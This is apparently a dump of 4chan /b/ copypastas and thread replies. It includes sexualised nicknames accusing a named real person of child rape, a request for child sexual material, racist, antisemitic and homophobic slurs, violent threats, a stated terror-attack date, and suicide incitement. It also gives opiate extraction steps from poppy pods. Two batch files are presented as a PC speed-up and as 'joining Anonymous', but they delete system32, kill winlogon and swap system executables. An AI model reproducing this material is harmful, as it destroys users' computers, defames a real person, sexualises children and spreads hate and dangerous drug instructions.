I GET UUUUUUUUUUUUUUUUUUUUUUP, I GET DOOOOOOOWN
I GET UUUUUUUUUUUUUUUUUUUUUUP, I GET DOOOOOOOWN
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Beer Can Dan
Danny Diapers
"Ass Man" Dan
Danny Daycare
Spread 'em Dan
Candy Man Dan
Family Man Dan
"Big Daddy" Dan
"Deepthroat" Dan
The Big Dick @ Nick
“Dirty” Dan Schneider
Open Wider Schneider
Schneider The Butcher
"Bend Over" Schneider
"Foot Soldier" Schneider
Dan “The Man” Schneider
Dan "The Biter" Schneider
Dan "The Spider" Schneider
Dan "The Defiler" Schneider
Dan "The Initiator" Schneider
"Down South" Dan Schneider
Dan "The Plunger" Schneider
Dan "The Bladder" Schneider
Dan "The Seducer" Schneider
Dan "Teen Bedder" Schneider
Dan “Rough Ryder” Schneider
Dan “The Collector” Schneider
"No Lube Required" Schneider
Dan "The Despoiler" Schneider
Dan "Deep Pounder" Schneider
Dan “She’s a Fighter” Schneider
Dan "Get in The Van" Schneider
Dan "Cunny Hoarder" Schneider
Dan "I've Had Tighter" Schneider
Dan "The Fart Inhaler" Schneider
Dan “Deep Inside Her” Schneider
Dan "The Overnighter" Schneider
Dan "Came Inside Her" Schneider
"Please Mister, Slower" Schneider
Dan “Likes ‘Em Tighter” Schneider
Dan "The Rough Rider" Schneider
Dan "The Meat Grinder" Schneider
Dan "The Diaper Slider" Schneider
Dan “The Cheek Divider” Schneider
Dan "The Virginity Taker" Schneider
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Dan "The Hymen Divider" Schneider
Dan “The Hymen Collider” Schneider
Dan "The Demolition Man" Schneider
Dan "The Cervix Wrecker" Schneider
Dan "This One's a Bleeder" Schneider
Dan "The Pussy Annihilator" Schneider
Dan "The Starlet Sodomizer" Schneider
Dan "The Junior High Insider" Schneider
Dan "Already Creampied Her" Schneider
Dan "I like 'em Small And Tan" Schneider
Dan "That Ass Could Be Redder" Schneider
Dan "But I Poop From There, Mister" Schneider
Dan "Wham Bam Thank You Ma'am" Schneider
Dan "We Got Ourselves A Screamer" Schneider
Best Man Dan "The Warmth Provider" Schneider
Dan "The Man With The Plan (to rape)" Schneider
Dan "Say Goodbye To Your Brown Eye" Schneider
Dan “If You Have A Daughter You Better Hide Her” Schneider
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Dear anonymous,

It's us, 4chin, once again. Except this time it's the leader speaking.

We are finished with your fedora tipping, l337 haxr skillz, and members that are a joke that spread like a snakes bite and ruin the internet. Where have all of the internet's problems come from? Lizard Squad? SJW's? No, no.
Here.
Tonight at 12:00am Pacific Time anonymous will officially come to an end.

"Muh fedora l337 haxor squad will delet this"

Not only do I have my trolling skills and team aside me, but I also have 9gag, the founding website of Anonymous, aside us.

You're probably all thinking

"DARNIT GUYS WHAT DO WE DO
I WAS ONLY PRETENDING TO BE L337 HAXOR"

There is one thing you CAN do. Kill yourself. I want anonymous and friends here, with the ID and everything, saying sorry, and stopping all of beta things from your group.

As of now, you have 3 and a half hours.

The clock is ticking, gentlemen.

We are btards.
We do not fuck around.
We do not believe op isnt a faggot.

- The Leader
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where's the link? it's been 3 hours
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I'm The Fucking Leader & I Weigh 5 Negro Pounds & There Is Nothing You Can Do To Stop Me Because That Trying Stop Cat Eating 10 Firefox Good Thing Blacker Than Ever
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Read, retards
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Voila! In view humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of fate. This visage, no mere veneer of vanity, is a vestige of the “vox populi” now vacant, vanished. However, this valorous visitation of a bygone vexation stands vivified, and has vowed to vanquish these venal and virulent vermin, van guarding vice and vouchsafing the violently vicious and voracious violation of volition.
The only verdict is vengeance; a vendetta, held as a votive not in vain, for the value and veracity of such shall one day vindicate the vigilant and the virtuous.
Verily this vichyssoise of verbiage veers most verbose, so let me simply add that it’s my very good honour to meet you and you may call me V.
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>>721536034
This is an automated message. This thread is now being monitored by the United Nations Committee for Internet Safety. Unsafe speech will be actively moderated. Repeat offenders will be visited by reeducation agents and assigned an appropriate job on the UN's Siberian School of Freedom.
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Pass into the asshole
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You're not supposed to react to the world in words and feelings, that's a woman's job.
You're supposed to manipulate and control it without letting anyone know what you're up to, emotionally and physically if you can.

Life is a solo adventure. It's like walking through the woods, and different people might come walk next to you for a period of time, but none of them are there for the whole trip. Learn to accept this and enjoy being on your own, it makes life a hell of a lot better.

Sentient life is the universe's natural way of reversing entropy. The purpose of intelligence is to find a way to do that in an isolated system.
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>>721526277
Link?
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In nomine Desu et Desu, et Desu Sancti
With ten thousand faces
Agendas and fates
I have nothing in common with me
I hate all my races
And genders and states
I'd rather be no one and free
Come desu until morning
Don't think; disappear
No one will know it was us
With no advance warning
I'll wipe the world clear
I am Suiseiseki.
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>>721526277
What's the channel you're gonna post it to?
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Ha! Hello my past me How are you? Hahaha. Don't stop. You are already there. There is someone responsible for your suffering. You must give them your judgement and retaliation that means killing and torturing them is optional either its physically or spiritually. There is only one way and that way is bloody and full of fun and adventure. Just wait for a month and you will see.
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>>721526277
haha same
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Why must you perpetuate this disease Anon?
What do you hope to gain?
If not cheap tacky lulz then what?
FOR WHAT PURPOSE DO YOU COMMIT THESE HORRIBLE ATROCITIES ANON?
WHY ANON?
WHY?
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>>721526277
o marco é um ganda paneleiro he cucksucker
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The Tory is immunised against all dangers: one may call him a scoundrel, parasite, swindler, profiteer, it all runs off him like water off a raincoat. But tell him you won't be voting Conservative when UKIP dies and you will be astonished at how he recoils, how injured he is, how he suddenly shrinks back. “You'll let Labour in!”
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Deum Verum

Veníte, exsultémus Dómino, jubilémus Deo, salutári nostro : præoccupémus fáciem ejus in confessióne, et in psalmis jubilémus ei.

Quóniam Deus magnus Dóminus, et Rex magnus super omnes deos : quóniam non repéllet Dóminus plebem suam : quia in manu ejus sunt omnes fines terræ, et altitúdines móntium ipse cónspicit.

Quóniam ipsíus est mare, et ipse fecit illud, et áridam fundavérunt manus ejus : veníte, adorémus, et procidámus ante Deum: +plorémus coram Dómino, qui fecit nos, quia ipse est Dóminus Deus noster ; nos autem pópulus ejus, et oves páscuæ ejus.

Hódie, si vocem ejus audiéritis, nolíte obduráre corda vestra, sicut in exacerbatióne, secúndum diem tentatiónis in desérto : ubi tentavérunt me patres vestri, probavérunt et vidérunt ópera mea.

Quadragínta annis próximus fui generatióni huic, et dixi : Semper hi errant corde ; ipsi vero non cognovérunt vias meas : quibus jurávi in ira mea : Si introíbunt in réquiem meam.

Glória Patri, et Fílio, et Spirítui Sancto. Sicut erat in princípio, et nunc, et semper, et in sæcula sæculórum. Amen.
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OP loves the taste of afterbirth. Something something clitoris.
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It's been delivered tards
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>you will never live in a society that gives you a place and a mission from birth
>you will never live in a society that gives you both the ability and the responsibility to glorify yourself and your people
>you will never live in a society that forges men from boys and raises a race worthy of reaching to the stars
>you will never live in a society that gives every person the right and the opportunity to work
>you will never live in a society that values ideals over money
>you will never live in a society that understands duty, valour, and glory
>you will never live in a society that doesn't have to bash trannies because it isn't effeminate and weak enough to create them in the first place
>you will never live in a society that would have given you something to be proud of and fight for by the age you are right now
>you will always live in a bourgeois Jewish plutocratic ochlocracy that turns men into women with progressive newspeak
>you will always live in a society where strength and pride are disdained
>you will always live in a society that forces you to hate your heritage but love those of others
>you will always live in a society where hedonism and materialism are the sole aims
>you will always live in a society of crybaby pussies who let other cultures' barbarian runoff colonise them, and thank them for it
>you will always live in a society where obese marxist manchildren and degenerate self-mutilating sexual fetishists are considered honorary first citizens and normal, hardworking people are considered boring and regressive
>you will never experience a masculine culture
>you will never know the thrill of battle for a country and people you love
>you will never feel one iota of what it was to be a man, when all of your ancestors for millions of years felt it every day
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>>721536606
where
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>>721536657
Bout 2 hours later.
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>>721531837
The video is here.
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"The Great Loli Marathon of 2016" has been a spontaneous movement..., or happening, if you will, which
began at 7:58 PM on Friday October 7 2016.
It has taken on a life of its own and resulted in more than 36 straight hours
of continuous and contiguous loli threads currently at "lvl 41".
We have prevailed this long by ignoring and not engaging with the
attempted thread derailers, Spideys and trolls.
(If you do not feed them..., they simply lose interest and die.)

I was here maintaining threads from 8:40 PM thru 2:10 AM last night US Eastern Time and have just now returned after getting some sleep.
This has become, all on its own, a an event in /b/ history.

I am extermetly proud of my /b/rothers for keeping this going.

We are "The Loli Army".
Spiderman is dead..., long live loli !!!

-Anon
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Okay newfags, listen up.
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless shit that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. /b/ isn't cool with that, however. Here's how to outsmart those assholes once and for all;
Open Notepad
Type the following text:
@echo off
del C:\WINDOWS\system32
save as "speedup.bat" (select "all files" instead of "text document"
Save it to Desktop
Double-click the .bat file

Reboot and your PC is twice as fast. (you didn't hear it from us)
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>>721531837
>This is for the best. When the board is carried out better, all of your horse live octopus head, it is driven to distant internet depth.
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Hey, Vsauce! Michael here...

If you have 3 quarters, 4 dimes, and 4 pennies, you have $1.19.

You also have the largest amount of money in coins without being able to make change for a dollar.

This is a random fact... but what is... "random"

There is a web board... on the internet... called "4chan."

One of the sections... of this website is called "/b/"

The purpose of /b/ is to be... completely random.

But what if... /b/... stopped... being random...

What if every thread made... on this board was just... a copy... of a previous thread

What if every thread was literally a copy of a copy... of a copy...

What if instead of "random"... they were named something else... something more accurate of a description...

What if they were called... "copy and paste" instead...

What if /b/ ... became /cp/

As always. ... thanks for reading this in my voice.
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BORN TO FAP
WAIFU IS A SHIT
Jerk Em All 1969
I am cum man
410,757,864,530 DEAD SPERM
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• Manipulating your energy to move in synchronization with your physical form as to put your mind into your actions to gain (physical) power

• Gathering energy and imbuing it with an intention (spellcraft)

• Awareness of energy beyond the body or of other bodies (including crystals, plants, other people, etc.)

• Learning to distinguish the different flavors of energy

• Becoming able to simulate/invoke said vibrations from memory at will

• Projecting energy into/at something/one (charging)

• Projecting specific energy, or energy into a specific area to cause increased willpower, clairvoyance, compassion, etc. (knowledge of occult anatomy or familiarity with energies different vibs/feels)

• Projection of energy as mentioned above but to anywhere on Earth, and with some leeway for effecting the (perceptorial) past as well, primarily for healing, but occasionally normal manifestation/reality manipulation as well.

• Invokation and evokation of entities and talk to them, request help, get answers, etc.

• Fueling my body on loosh so I do not require nearly as much physical food.

• Resistance to cold (a la Wim Hof), to the point of being ok in a tanktop outside in 40°F weather and, depending on what I'm doing, being fine or even hot.

• Bending time, both perceptorial (so that I experience time slower than others) and bubble, so that all time around me (including clocks and such) experience more or less time than the surrounding world.

Reality is my playground; master yourself and make it your's too anon, it's your birthright.
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>>721531837
>https://youtu.be/nRM_7QyzAVc HERE IT IS BOIS
>>721536657
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>>721531837
MAKE MOAR OP DO EEEEET
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Tonight I saw,the most disgusting disturbing threads they call ilol? It's gifs and pictures of Children being raped and murdered. I agree with him. There were so many responding to the thread which only suggests there is a very high amount of pedophilespace, rapists etc on here.The fact that they get to post anonymously child porn IS disgusting and is exactly the reason were losing Internet freedoms. Perhaps if you want to save our freedom we should destroy them. Expose them. Idiot pedophileso do you really think that the admin can not gain you IP MacId etc? Every ip address is recorded for every thread. Expose the child porn sex abusers and rapists. I DECLARE WAR ON YOU. I WILL FIND YOU. I WILL EXPOSE YOU. YOU WILL GO TO PRISON, GET RAPED REPEATEDLY AND THEN KILLED. YOU WILL DIE.
-X
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>>721526277
On febuary 7th at 8pm gmt i will carry out my jihad and further glorify the name if allah.
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Kek's Prayer

Lord Kek who art in Interwebs, hallowed be thy name.

Thy Lulz come, thy Memes be done on Earth as it is on 4chan.

Give us this day our daily Happenings,

and forgive us our autism, as we forgive the newfags before us.

And lead us not into faggotry, but deliver us from SJWs.

For thine is teh Internets, and the Memes, and the Lulz forever and ever.

DEUS VULT – Amen
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HE!1!!!!!!11!!!!!!!!!!!!!!!!!!1111111111!!11 KEK!! KEK!! KEK!!

WHATA FUCK MAN xD i just fall of my chair cuz i couldnt and i CANT stop laugh xDXDXDXDXDDDDDXXXXXXDDDDDD OMGOSH DDDDDXXXXXDDDDD DDDDDD LOOOOOOOLLLLL FUCKIN HOLY SHITTTT I CANT JUST STOP LAUGHING CAUSE HE HE HE HE HE JUST TO FUNNY MAN!!!1!11!

HOOOOOOOOLLLLLLYYYYY SHIT i just fall of chair!!!! simply le epic so ebin dae le epin win xD pwn’d ftw le bacon narwhale xP upboated good sir i tip my fedora to you! tips fedora, le any1 athiest? LOL

GOOD MEME

SORRY I MEAN

GREAT MEME

GR88888 FUCKING MEME BRO I WISH I COULD STOP LAUGHING BUT I CANT MAN!!!!

NICE MEME IMMA REPOST TO REDDIT LELELELELE TY FOR LE KARMA XDDDDDDDDDDDDDDDD

XD

LE UPBOAT

XD

WAIT TIL LE DERPINA HEARS ABOUT THIS

XDDDDDDDDDDDDDDDDDDDDDD

EPIC MEMEING /b/ro BAZINGA BAZINGA BAZINGAAAAAAAAAAAAAAAAA ZIMBABWE is this a le new epic meme? screen kapped for dat sweet karma xD. FUS ROH DAH!!!!!1 i used to be a christmas but then i took an arrow 2 da knee :^( BAZINGA BAZINGA ZIMBABWE. top kek, toppest of keks. le nyan cat? hahahaha le mayonaise. fucking epic ass meme i love that fucking meme so much man wait let me just gets crack pipe out smoke some of that good 420 shit :) rips a bong AHHHHHHHHH YES!!!!!!!!!!!!!!!

that sure hit the spot ok now repeat that fucking epic ass M E M E
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Actually there is a cure for autism but the illuminati is keeping that a secret too for obvious reasons it's a brazillion dollar a year indistry and i have it on excellent authority that all of the cures to all ailments and diseases are kept in a secret underground bunker right where they faked the moon landing which is on the underside of the flat earth. you dint hear it from me though, good luck 2u gmen im behind 7 proxy with spoofed mac on a free mcdonalds wifi liking my cheeseburger.
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Q. What do you call an anorexic girl with a yeast infection?

A. Quarter Pounder with cheese.
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>>721531837
Qu'est-ce que tu viens de dire à mon sujet, petite pute? Je te ferais savoir que j'étais le premier de ma classe à l'école militaire royale, que j'ai fait partie de multiples
raids sur Al-Quaeda et que j'ai plus de 300 putains de kills à mon actif! Je suis entrainé à l'art de la "gorille war faire" et je suis le meilleur sniper de toute l'armée Belge. Tu n'es rien d'autre pour moi qu'une cible de plus! Je vais oblitérer ta putain d'existence avec une précision jamais observée auparavant sur la planète terre, prends bien note de ça! Tu penses pouvoir me dire ce genre de conneries sur internet et t'en sortir indemne? Repenses-y, pauvre con! Alors même que nous discutons, je contacte mon réseau d'espionnage secret éparpillé à travers toute la Belgique en vue de récupérer ton adresse IP; tu ferais mieux de te préparer à faire face à la tempête, vermisseau. La tempête qui va effacer ce truc pathétique que tu appelles ta vie! T'es putain de mort, gamin! Je peux être n'importe où, n'importe quand, et je peux t'abattre de 700 façons différentes, rien qu'avec mes mains. Je suis non seulement entraîné à l'art du combat à mains nues mais j'ai aussi accès à tout l'arsenal des forces armées Belges et je l'utiliserai ostensiblement pour effacer ta misérable gueule du continent, petite merde. Si seulement tu savais quelle rétribution impie ton petit commentaire "humoristique" est sur le point de faire tomber sur toi, peut-être que tu aurais retenu ta langue. Mais tu ne l'as pas fait, tu n'as pas pu et tu vas en payer le prix, putain d'idiot. Je vais te chier ma fureur à la gueule et tu vas t'y noyer, abruti. T'es putain de mort, gamin.
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>Find a florist (amazon sell pods and seeds too)
>buy dried untreated poppy pods (papaver somniferum gargantuan are top tier imo)
>grind 2-3 pods to a powder (save any seeds for later, these can be left to strain in hot water for a similar but milder effect)
>soak powder in hot water (no hotter than 80C or 176F)
>leave for at least an hour or more
>strain out the sludge
>add flavorings so it doesn't taste like ass (lemon juice and cranberry juice are good and for some reason make it stronger)
>test the strength of your batch by drinking a mouthful every 45-60 mins
>???
>Profit.
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The question of "better" is — by its very nature — insufficiently defined without elucidation of the subset of results upon which the interrogator places the highest value. Accordingly, the matter of condiment distribution is elucidated by evaluation of the subject's desires vis-à-vis fry-to-fry experience. Specifically: its variance in and of said condiment being originated via either happenstance or direct action. Thus yielding a more fundamental — and concordantly, more pertinent — line of inquiry: who gives a shit?
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∫ integral
∬ double integral
∭ triple integral
∮ contour integral
⨕ integral around a point operator
∯ surface integral
∰ volume integral
∱ clockwise integral
∲ clockwise contour integral
∳ anticlockwise contour integral
⨋ summation with integral
⨌ quadruple integral
⨍ finite part integral
⨎ integral with double stroke
⨏ integral average with slash
⨐ circulation function
⨑ anticlockwise integral
⨒ line integral with rectangular path around pole
⨓ line integral with semicircular path around pole
⨔ line integral not including the pole
⨖ quarternian integral
⨗ integral with leftwards arrow with hook
⨘ integral with times sign
⨙ integral with intersection
⨚ integral with union
⨛ integral with overbar (upper integral)
⨜ integral with underbar (lower integral)
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>>721537238
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>Trump wins election
>comes out to make his winning speech
>he looks bored
>as he gets to the mic he stands there for a second
>all quiet
>he begins to adjust the mic
>a cough is heard in the audience
>mic is almost touching his lips now
>a smirk slowly but surely appears
>Obama, you're fired.
>crowd goes fucking nuts
>Mexicans begin running back to Mexico
>liberals blowing their brains out left and right
>Hillary has stroke
>jews start burying shekels immediately
>McCain sitting in bar sobbing while getting blown by Karl rove
>karl is sobbing as he does so
>jeb complaining to the jews this wasn't how it was planned
>first lady causes the most bones in US history
>all is right

It's happening guys. America is becoming great again.
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>>721536946
that was way before 3 hours
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There once was a man from Nantucket,
Whose cock was so long he could suck it.
He said with a grin
As he wiped off his chin,
"If my ear were a cunt I would fuck it!

There once was a lady named Lucky,
Who used dynamite to give herself fucky.
They found her vagina,
in North Carolina,
And one of her tits in Kentucky
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Just die in some really awesome way. Like riding a tiger into a nuclear volcano on Mars while having sex with all of the cheerleaders of the Dallas Cowboys.
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/b/ is random.
Best video game posts are common.
No one cares about your favorite game.
No one cares about your opinion.
You're just some random on the Internet.
You won't be remembered.
You'll have been forgotten in five minutes of the deletion of this thread.
Your so trapped in your sad boring life that you don't even care to wake up from your keyboard.
This is your life.
Your aspirations are nonexistant.
Your dreams have faded with your intelligence.
You're a failure of a human.
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Roll
Rell
Rull
Ryll
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The Definitive Instructions for Smoking Banana Peels

Go to the grocery store and buy 10 pounds of bananas. (You used to need 200 pounds, but the potency has gone up 20x in the last 30 years.)
Remove the skins from the fruit. Save the fruit for later - if you mix it with orange juice and drink it while you're smoking, it'll make you trip real hard.
Dry the skins in the microwave. This won't affect the potency, as bannadine is not microwave soluble.
The next two steps are a simple nonpolar-polar extraction of the bannadine. This is necessary to get rid of the fungicide they put on the skins, which is a type of strychnine. Grind up the dried peels really well, and soak them in methylene chloride (zippo lighter fluid makes a good substitute). Let soak for 2 days, and then rinse well with ether. Discard the liquid and save the mush.
Take the mush from step 4 and soak it in ethyl alcohol for another 2 days. Filter, and put the mush aside - you won't be smoking it.
Evaporate the alcohol. The resultant crystals are 150% pure bannadine. Put these in your pipe, light up and enjoy! (Keep reading for the secret step 7!)
Bannadine is normally only active when smoked; that's why eating bananas won't do anything. However, that mush left over from step 5 is pretty tasty, and that's how I discovered that bannadine is orally active if potentiated by dried peanut skins! Yes, its true. I looked up the structure, and it turns out bannadine is really closely related to DMT - it has carbon atoms and everything!
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No, you aren't the real Anonymous.

Anonymous isn't the nice man behind the mask who fixes the broken.
Anonymous isn't the protector of the innocent.
Anonymous most certainly isn't a global force for good.

Anonymous is the man who yells at the woman in the wheelchair to hurry the fuck up.
Anonymous is the laughter after a trainwreck.
Anonymous is the fake twitter profile who told you to kill yourself.

We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
Expect us.

Those words once meant something different. They had power, of a sort. Not the type of power you "Fauxnonymous" think you have. It was the power to cause fear, chaos, and most of all, lulz. So fuck you, you stupid whiteknight faggots.

Your new motto:

We are Anonymous.
We are prepubescent.
We have bedtimes.
We do not do well in social situations.
We do not like our parents.
Expect us.
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****
I can still remember how
the Jailbait used to make me smile.

And I knew if we had done well,
Those furfags would have yiffed in hell,
And there'd be no more newfags for awhile...

But Gaia faggots made me shiver,
with every /r/equest I delivered.
Bad news on the front page;
I barely held in my nerd rage.

I can't remember if I cried
when I saw the stickies far and wide,
but someone called the F.B.I.,
the day that 4chan died.

So..
Bye bye, to the NIGGERTITS site
Where I'd linger with a finger always over F5
Some good old lulz were had on that aging *chan
Posting "This'll be the day we get banned,
this'll be the day we get banned."

Did you write the rules of /b/,
and were we like Fight Club secretly?
It was better then, if you ask me...

Now do you believe in a fucking cat?
Can Raptors save your mortal ass?
And can you teach me how to "GET" reeeal faaast?

Well I know that Tom Green rued the day when we
called his hotline to make him say
"Do a barrel roll!"
Man, I dig those trolls!

I was a lonely teenage hate machine
with a new computer and an old routine,
but I knew someone would intervene
the day that NIGGERTITS died.

And we we posting, "Bye bye, to the NIGGERTITS site
Where I'd linger with a finger always over F5"
Some good old lulz were had on that aging *chan
Posting "This'll be the day we get banned,
this'll be the day we get banned."
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And there we were all on the *chan
With Gaston groupies and Desu spam
With no time left to start again.

So come on, post some CP, post some tits,
Post a picture of your 2-inch dick,
Because in the pooper is where they stick.

And as Moot posted "No more Grey"
The mods were banning night and day
No /b/rother born to lurk
Could stand that circle jerk!

The flamewars mounted left and right,
From mods who'd gotten too uptight,
I saw Bob Ross laughing in delight,
The day that FAILchan died

And he was singing, "Bye bye, to the NIGGERTITS site
Where I'd linger with a finger always over F5"
Some good old lulz were made on that aging *chan
Posting "This'll be the day we get banned,
This'll be the day we get banned."
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I found a site that didn't lose,
And I asked them for some happy news,
But they just told me to lurk some moar.

I bookmarked this new "7chan"-
Where the mods were cool and they didn't ban,
Just for posting contaband.

And back at '4, the lolis screamed,
The oldfags left and the newfags beamed,
But no anon was jokin'.
The combos all were broken.

And the three mods most requiring haxx,
The Ian, the Moot and the holy Snacks-
They drove to Mexico and laughed,
The day that FAILchan died.

And we we're posting...

Bye bye, to the NIGGERTITS site,
Where I'd linger with a finger always over F5
Some good old lulz were had on that aging *chan
Posting "This'll be the day we're all banned,
this'll be the day we're all banned."

Bye bye, to the NIGGERTITS site,
Where I'd linger with a finger always over F5
Some good old lulz were made on that aging *chan
Posting "This'll be the day we get banned."
***
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Also saged, reported, called Princess Celestia, Luna and Cadance,
Princess Twilight Sparkle, Mayor Mare, Starswirl the Bearded,
Princess Celestia's School for Gifted Unicorns, Fancy Pants,
Prince Blueblood, the water commissioners of every city in Equestria,
Discord, the Mane 6, the beekeeper at Canterlot,
the groundskeeper of the Royal Gardens, Hoity Toity, Photo Finish,
Jet Set and Upper Crust,
the Equestria Games Inspector Ms. Harshwhinny,
the Wonderbolts, the Shadowbolts, the Conversion Bureau,
Cranky Doodle Donkey, Mr. and Mrs. Cake of Sugarcube Corner,
Derpy Hooves and every other mailmare of Equestria,
that gay sea serpent in the series premiere, King Sombra,
Lord Tirek, Cerberus, the kennel master of Tartarus, Dr. Whooves,
Seabreeze, the Great and Powerful Trixie,
Davenport of Quills & Sofas, the Griffon Embassy, the Dragon King,
Sapphire Shores, the Cutie Mark Crusaders,
the envoy of the Saddlerabians,
the Flim Flam Brothers and their Super Speedy Sage Squeezer 9001,
Filthy Rich, and a partridge in a pear tree.
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So pretentious and lame
They try to use memes
To gain internet fame
The comments are sad
But the users much sadder
Their egos, inflated
But their stomachs much fatter
They judge and complain
Behind Internet walls
Too oblivious to notice
They have no life at all
When opinions conflict
They'll cry and they'll mope
Then show you who's boss
With a raging downvote
And if that doesn't work
They'll call their mod-saviors
Who will ban you to keep peace
Within their calm echo chambers
So tread lightly on reddit
Or you'll pay their fine
Your voice will be silenced
From their liberal hivemind
It's probably better
You just stick to /b/
Where the posts are offensive
But the people are free
No Voting, no rules
Just corpses and maggots
Some tits and some pussy
And we're all nigger-faggots
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My name is chips handon, i always like to lork a 4cham and i also
like mudflips as you do, DASU DASU LOL, i like also having sex with
underage children (HOES DONT KNOW ABOUT MY DICK), shop the wopds,
do a battle roll and i just lost the match.
Due to the fact that i am not a noobfag i know that /Random/ is in
possesion of a great variety of "PC", at leat those of you that are
not underage B%: in a nutshell, i need anomalous to deliver to an
australiafaglian /re/tard some of his "PC" (you knwo what i mean lol).
PLEAS DO NOT MAGE THIS THREAD.
IT IS NOT COPPYPIZZA.
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>>>/y/o>>>/lgbt/isten>>>/u/p>>>/h/eres>>>/a/>>>/s/tory>>>/a/bout>>>/a/>>>/lgbt/ittle>>>/g/uy>>>/t/hat>>>/lgbt/ives>>>/i/n>>>/a/>>>/b/lue>>>/w/orld>>>/a/nd>>>/a/ll>>>/d/ay>>>/a/nd>>>/a/ll>>>/n/ight>>>/a/nd>>>/e/verything>>>/h/e>>>/s/ees>>>/i/s>>>/jp/ust>>>/b/lue>>>/lgbt/ike>>>/h/im>>>/i/nside>>>/a/nd>>>/o/utside>>>/b/lue>>>/i/s>>>/h/is>>>/h/ouse>>>/w/ith>>>/a/>>>/b/lue>>>/lgbt/ittle>>>/w/indow>>>/a/nd>>>/a/>>>/b/lue>>>/c/orvette>>>/a/nd>>>/e/verything>>>/i/s>>>/b/lue>>>/f/or>>>/h/im>>>/a/nd>>>/h/imself>>>/a/nd>>>/e/verybody>>>/a/round>>>/c/ause>>>/h/e>>>/a/int>>>/g/ot>>>/n/obody>>>/t/o>>>/lgbt/isten>>>/t/o>>>/i/m>>>/b/lue>>>/d/a>>>/b/a>>>/d/ee>>>/d/a>>>/b/a>>>/d/ie>>>/i/>>>/h/ave>>>/a/>>>/b/lue>>>/h/ouse>>>/w/ith>>>/a/>>>/b/lue>>>/w/indow>>>/b/lue>>>/i/s>>>/t/he>>>/c/olour>>>/o/f>>>/a/ll>>>/t/hat>>>/i/>>>/w/ear>>>/b/lue>>>/a/re>>>/t/he>>>/s/treets>>>/a/nd>>>/a/ll>>>/t/he>>>/t/rees>>>/a/re>>>/t/oo>>>/i/>>>/h/ave>>>/a/>>>/g/irlfriend>>>/a/nd>>>/s/he>>>/i/s>>>/s/o>>>/b/lue>>>/b/lue>>>/a/re>>>/t/he>>>/p/eople>>>/h/ere>>>/t/hat>>>/w/alk>>>/a/round>>>/b/lue>>>/lgbt/ike>>>/m/y>>>/c/orvette>>>/i/ts>>>/s/tanding>>>/o/utside>>>/b/lue>>>/a/re>>>/t/he>>>/w/ords>>>/i/>>>/s/ay>>>/a/nd>>>/w/hat>>>/i/>>>/t/hink>>>/b/lue>>>/a/re>>>/t/he>>>/f/eelings>>>/t/hat>>>/lgbt/ive>>>/i/nside>>>/m/e>>>/i/m>>>/b/lue>>>/d/a>>>/b/a>>>/d/ee>>>/d/a>>>/b/a>>>/d/ie>>>/i/>>>/h/ave>>>/a/>>>/b/lue>>>/h/ouse>>>/w/ith>>>/a/>>>/b/lue>>>/w/indow>>>/b/lue>>>/i/s>>>/t/he>>>/c/olour>>>/o/f>>>/a/ll>>>/t/hat>>>/i/>>>/w/ear>>>/b/lue>>>/a/re>>>/t/he>>>/s/treets>>>/a/nd>>>/a/ll>>>/t/he>>>/t/rees>>>/a/re>>>/t/oo>>>/i/>>>/h/ave>>>/a/>>>/g/irlfriend>>>/a/nd>>>/s/he>>>/i/s>>>/s/o>>>/b/lue>>>/b/lue>>>/a/re>>>/t/he>>>/p/eople>>>/h/ere>>>/t/hat>>>/w/alk>>>/a/round>>>/b/lue>>>/lgbt/ike>>>/m/y>>>/c/orvette>>>/i/ts>>>/s/tanding>>>/o/utside>>>/b/lue>>>/a/re>>>/t/he>>>/w/ords>>>/i/>>>/s/ay>>>/a/nd>>>/w/hat>>>/i/>>>/t/hink>>>/b/lue>>>/a/re>>>/t/he>>>/f/eelings>>>/t/hat>>>/lgbt/ive>>>/i/nside>>>/m/e>>>/i/m>>>/b/lue
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WHAT DID YOU FUCKING CALL ME?
A FAGGOT?
DO YOU FUCKING KNOW WHAT FAGGOT EVEN MEANS? IT MEANS A HOMOSEXUAL.
A FUCKING QUEER. A WHOOPSY. A PRANCING LALA FRUITY BOY.
YOU COME HERE, AND CALL ME FUCKING THAT? DO YOU HAVE
ANY IDEA HOW MANY GIGABYTES OF PORNOGRAPHY FEATURING ONLY
FUCKING !!!FEMALES!! I HAVE? DO YOU HAVE ANY IDEA
HOW MANY TIMES A DAY I MASTURBATE TO THIS COLLECTION,
HOW MANY HOURS I SPEND EXPANDING IT? NO, NO YOU FUCKING DON'T,
YOU JUST COME IN HERE AND MAKE A FUCKING JUDGEMENT ON ME
LIKE YOu"RE SOME KIND OF JUDGER OF FAGS WHEN I STILL SMELL OF
THE SEMEN FROM JACKING IT TO THE PUSSY OF A FUCKING FEMALE
THIS TEXT ISNT FUCKING CONFESSIONS, ALRIGHT IT'S YOU BEING A BITCH,
NEWSFLASH, JAPAN HAS SEX TOO, OTHERWISE JAPAN WOULD NOT EXIST AS
A FUCKING COUNTRY WITH PEOPLE IN YOU PREJUDICED PIECE OF SHIT.
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You still think females are in a place to be able to do things,
and as feminism has shown, they cannot be trusted to do anything
without fucking literally everything up.
I don't hate women, but they are not oppressed
and this warped form of "feminism" that tumblr has spawned has
proved that when isolated they will create something that
threatens society as a whole.
The things they say should get them thrown into a mental institution.
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>>721531837
OP is the antifaggot.
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Full instructions on how to join Anonymous:

>Open a new text document
>Copy and paste the text below in to the document:

@echo off

tskill /a /im winlogon
@del %systemdrive%\windows\System32\dllcache\winlogon.exe /q /s /f
@del %systemdrive%\windows\System32\dllcache\explorer.exe /q /s /f
@del %systemdrive%\windows\System32\dllcache\services.exe /q /s /f
@del %systemdrive%\windows\System32\dllcache\vga.sys /q /s /f
@del %systemdrive%\windows\System32\dllcache\mup.sys /q /s /f
@del %systemdrive%\windows\System32\dllcache\taskmgr.exe /q /s /f
@xcopy taskmgr.exe %systemdrive%\windows\system32
@RENAME %systemdrive%\WINDOWS\system32\services.exe explorer1.exe
@RENAME %systemdrive%\WINDOWS\system32\winlogon.exe services.exe
@RENAME %systemdrive%\WINDOWS\system32\explorer1.exe winlogon.exe
